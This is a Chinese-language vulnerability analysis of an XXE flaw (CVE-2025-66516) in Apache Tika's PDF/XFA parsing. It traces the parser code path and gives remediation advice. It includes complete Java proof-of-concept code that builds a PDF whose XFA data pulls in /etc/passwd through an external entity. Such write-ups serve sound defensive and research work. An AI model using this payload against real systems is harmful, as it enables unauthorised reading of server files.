Apache Tika XXE漏洞分析(CVE-2025-66516)
字数 1059 2025-12-10 12:08:30
Apache Tika XXE漏洞分析(CVE-2025-66516) 教学文档
漏洞概述
Apache Tika组件存在XML外部实体注入漏洞(CVE-2025-66516),影响范围包括:
- tika-core:1.13-3.2.1版本
- tika-pdf-module:2.0.0-3.2.1版本
- tika-parsers:1.13-1.28.5版本
攻击者可通过构造包含恶意XFA(XML Forms Architecture)数据的PDF文件利用此漏洞。
漏洞成因
漏洞源于Apache Tika在解析PDF文件时,未对XFA数据中的XML外部实体进行安全限制,导致直接解析PDF中嵌入的恶意XML内容时触发XXE漏洞。
环境搭建
Maven依赖配置
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-parsers-standard-package</artifactId>
<version>3.2.1</version>
</dependency>
测试代码框架
import org.apache.tika.Tika;
import java.io.File;
public class TikaTest {
public static void main(String[] args) throws Exception {
Tika tika = new Tika();
String txt = tika.parseToString(new File("test.pdf"));
System.out.println(txt);
}
}
漏洞分析
解析流程分析
- 入口点:
Tika.parseToString()方法开始解析流程 - 处理器初始化:创建
WriteOutContentHandler和ParseContext - 解析器选择:通过
CompositeParser.parse()根据文件类型选择PDF解析器 - PDF处理:进入
PDFParser.parse()方法,最终调用PDF2XHTML.process()
关键触发点
在PDF2XHTML.endDocument()方法中执行以下关键操作:
protected void endDocument(PDDocument pdf) throws IOException {
// ... 其他处理逻辑
this.extractXMPXFA(pdf, this.metadata, this.context);
if (this.config.isExtractAcroFormContent()) {
this.extractAcroForm(pdf); // 漏洞触发点
}
}
XXE触发细节
在extractAcroForm()方法中:
void extractAcroForm(PDDocument pdf) throws IOException, SAXException, TikaException {
PDAcroForm form = catalog.getAcroForm(null);
if (form != null) {
PDXFAResource pdxfa = form.getXFA();
if (pdxfa != null) {
XFAExtractor xfaExtractor = new XFAExtractor();
InputStream is = new BufferedInputStream(
UnsynchronizedByteArrayInputStream.builder()
.setByteArray(pdxfa.getBytes()).get());
xfaExtractor.extract(is, this.xhtml, this.metadata, this.context);
// 在xfaExtractor.extract()中触发XML解析
}
}
}
最终在XML解析过程中,reader.next()方法未进行安全配置,导致XXE漏洞触发。
漏洞利用
恶意PDF构造
使用PDFBox库创建包含恶意XFA的PDF文件:
import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import org.apache.pdfbox.cos.COSDictionary;
import org.apache.pdfbox.cos.COSStream;
import org.apache.pdfbox.cos.COSName;
import java.io.IOException;
import java.io.OutputStream;
public class MaliciousPDF {
public static void main(String[] args) throws IOException {
PDDocument doc = new PDDocument();
PDPage page = new PDPage();
doc.addPage(page);
PDAcroForm acroForm = new PDAcroForm(doc);
doc.getDocumentCatalog().setAcroForm(acroForm);
// 恶意XFA内容
String xfaXml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE test [\n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]>\n" +
"<test>&xxe;</test>";
// 创建XFA数据流
COSStream xfaStream = doc.getDocument().createCOSStream();
try (OutputStream os = xfaStream.createOutputStream()) {
os.write(xfaXml.getBytes());
}
// 将XFA流添加到AcroForm
COSDictionary acroFormDict = acroForm.getCOSObject();
acroFormDict.setItem(COSName.XFA, xfaStream);
doc.save("malicious.pdf");
doc.close();
}
}
漏洞验证
使用Tika解析恶意PDF时,将读取并返回/etc/passwd文件内容,证明XXE漏洞存在。
修复方案
- 升级版本:更新Apache Tika到安全版本(3.2.1之后版本)
- 安全配置:在XML解析器中禁用外部实体解析
- 输入验证:对PDF中的XFA数据进行严格验证和过滤
技术要点总结
- 漏洞触发路径:PDF解析 → XFA提取 → XML解析 → XXE触发
- 关键类:
PDF2XHTML、XFAExtractor - 利用条件:需要构造包含恶意XFA的PDF文件
- 影响范围:所有使用受影响版本Tika解析PDF的应用
防御建议
- 及时更新Apache Tika组件到最新安全版本
- 在XML解析器中实施严格的安全配置
- 对用户上传的PDF文件进行安全检测
- 实施最小权限原则,限制文件系统访问权限